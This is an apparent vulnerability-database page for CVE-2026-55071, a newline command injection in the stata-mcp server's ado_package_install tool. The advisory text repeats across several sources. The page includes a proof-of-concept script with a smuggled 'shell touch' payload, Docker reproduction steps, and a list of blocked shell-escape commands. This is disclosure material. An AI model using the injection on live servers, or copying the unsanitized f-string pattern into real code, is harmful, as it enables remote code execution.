CVE-2026-55071
MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`
MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.4
MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`
MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.
- Record
CVE-2026-55071- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2026-83921
8.4
MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.
- Record
EUVD-2026-83921- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-49m4-vp58-wgc9
8.4
MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`
Stata Command Injection via Unsanitized package in ado_package_install
Summary
The ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).
Details
The vulnerability originates in SSC_Install.install():
# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16
def install(self, package: str) -> str:
install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
runner_result = self.controller.run(install_command)
The package parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:
# src/stata_mcp/stata/stata_controller/controller.py:98-99
# Send the command
self.child.sendline(command)
pexpect.sendline() writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's shell (and !) commands execute an OS shell command, a newline-delimited payload results in OS command execution.
The full source-to-sink data flow is:
- Exposure —
src/stata_mcp/mcp_servers.py:626-632:_TOOL_REGISTRYregistersado_package_installin theallprofile. - Default activation —
src/stata_mcp/cli/_handlers.py:295-300: when no--core/--allflag is given the profile defaults toall, so the tool is always enabled. - Propagation —
src/stata_mcp/mcp_servers.py:308-349: the MCP argumentpackageis passed toinstaller(...).install(*args)without validation. - Sink construction —
src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15:packageis interpolated intoinstall_command. - Delivery —
src/stata_mcp/stata/stata_controller/controller.py:99:self.child.sendline(command)sends the attacker-influenced string to Stata.
A guard/blacklist (src/stata_mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata_do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.
PoC
Prerequisites
- Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (
fake_stata.py) that honours theshellcommand.
Container-based reproduction (no Stata license required)
# Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
-f vuln-001/Dockerfile \
reports/pypiAi_828_SepineTam__stata-mcp/
# Run
docker run --rm stata-mcp-poc-001
Direct Python trigger (unmodified source)
import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install
MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"
installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)
assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")
The payload "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//" is expanded by the f-string at ssc_install.py:15 into:
ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace
Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so…
- Record
GHSA-49m4-vp58-wgc9- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
8.4
MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.
- Record
CVE-2026-55071- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
8.4
MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`
MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.
- Record
CVE-2026-55071- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-49m4-vp58-wgc9
8.4
MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`
Stata Command Injection via Unsanitized package in ado_package_install
Summary
The ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).
Details
The vulnerability originates in SSC_Install.install():
# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16
def install(self, package: str) -> str:
install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
runner_result = self.controller.run(install_command)
The package parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:
# src/stata_mcp/stata/stata_controller/controller.py:98-99
# Send the command
self.child.sendline(command)
pexpect.sendline() writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's shell (and !) commands execute an OS shell command, a newline-delimited payload results in OS command execution.
The full source-to-sink data flow is:
- Exposure —
src/stata_mcp/mcp_servers.py:626-632:_TOOL_REGISTRYregistersado_package_installin theallprofile. - Default activation —
src/stata_mcp/cli/_handlers.py:295-300: when no--core/--allflag is given the profile defaults toall, so the tool is always enabled. - Propagation —
src/stata_mcp/mcp_servers.py:308-349: the MCP argumentpackageis passed toinstaller(...).install(*args)without validation. - Sink construction —
src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15:packageis interpolated intoinstall_command. - Delivery —
src/stata_mcp/stata/stata_controller/controller.py:99:self.child.sendline(command)sends the attacker-influenced string to Stata.
A guard/blacklist (src/stata_mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata_do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.
PoC
Prerequisites
- Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (
fake_stata.py) that honours theshellcommand.
Container-based reproduction (no Stata license required)
# Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
-f vuln-001/Dockerfile \
reports/pypiAi_828_SepineTam__stata-mcp/
# Run
docker run --rm stata-mcp-poc-001
Direct Python trigger (unmodified source)
import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install
MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"
installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)
assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")
The payload "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//" is expanded by the f-string at ssc_install.py:15 into:
ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace
Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so…
- Record
GHSA-49m4-vp58-wgc9- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVPYSEC-2026-3700
8.4
MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`
Stata Command Injection via Unsanitized package in ado_package_install
Summary
The ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).
Details
The vulnerability originates in SSC_Install.install():
# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16
def install(self, package: str) -> str:
install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
runner_result = self.controller.run(install_command)
The package parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:
# src/stata_mcp/stata/stata_controller/controller.py:98-99
# Send the command
self.child.sendline(command)
pexpect.sendline() writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's shell (and !) commands execute an OS shell command, a newline-delimited payload results in OS command execution.
The full source-to-sink data flow is:
- Exposure —
src/stata_mcp/mcp_servers.py:626-632:_TOOL_REGISTRYregistersado_package_installin theallprofile. - Default activation —
src/stata_mcp/cli/_handlers.py:295-300: when no--core/--allflag is given the profile defaults toall, so the tool is always enabled. - Propagation —
src/stata_mcp/mcp_servers.py:308-349: the MCP argumentpackageis passed toinstaller(...).install(*args)without validation. - Sink construction —
src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15:packageis interpolated intoinstall_command. - Delivery —
src/stata_mcp/stata/stata_controller/controller.py:99:self.child.sendline(command)sends the attacker-influenced string to Stata.
A guard/blacklist (src/stata_mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata_do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.
PoC
Prerequisites
- Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (
fake_stata.py) that honours theshellcommand.
Container-based reproduction (no Stata license required)
# Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
-f vuln-001/Dockerfile \
reports/pypiAi_828_SepineTam__stata-mcp/
# Run
docker run --rm stata-mcp-poc-001
Direct Python trigger (unmodified source)
import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install
MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"
installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)
assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")
The payload "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//" is expanded by the f-string at ssc_install.py:15 into:
ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace
Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so…
- Record
PYSEC-2026-3700- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
stata-mcpPyPI |
before 1.19.0 | 1.19.0 |
stata-mcpPyPI |
before 1.19.0, plus listed versions 0.1.01.10.01.10.11.10.21.11.0 Show 45 moreShow less1.11.11.12.01.12.11.13.01.13.11.13.101.13.111.13.121.13.131.13.141.13.151.13.161.13.171.13.181.13.191.13.21.13.201.13.211.13.221.13.231.13.241.13.251.13.261.13.271.13.281.13.291.13.31.13.301.13.311.13.321.13.331.13.341.13.351.13.361.13.371.13.381.13.391.13.41.13.401.13.411.13.421.13.51.13.61.13.71.13.8 |
1.19.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55071 is a high vulnerability (CVSS 8.4) in Sepinetam Mcp-for-stata, published August 12, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in stata-mcp 1.19.0.
References
github.com/SepineTam/mcp-for-stata/security/advisories/GHSA-49m4-vp58-wgc9
github.com/SepineTam/mcp-for-stata/releases/tag/v1.19.0
github.com/advisories/GHSA-49m4-vp58-wgc9
github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55071.json
nvd.nist.gov/vuln/detail/CVE-2026-55071
github.com/SepineTam/mcp-for-stata
pypi.org/project/stata-mcp
Left out here: 45 versions and the rest of 3 source descriptions. The JSON record has them.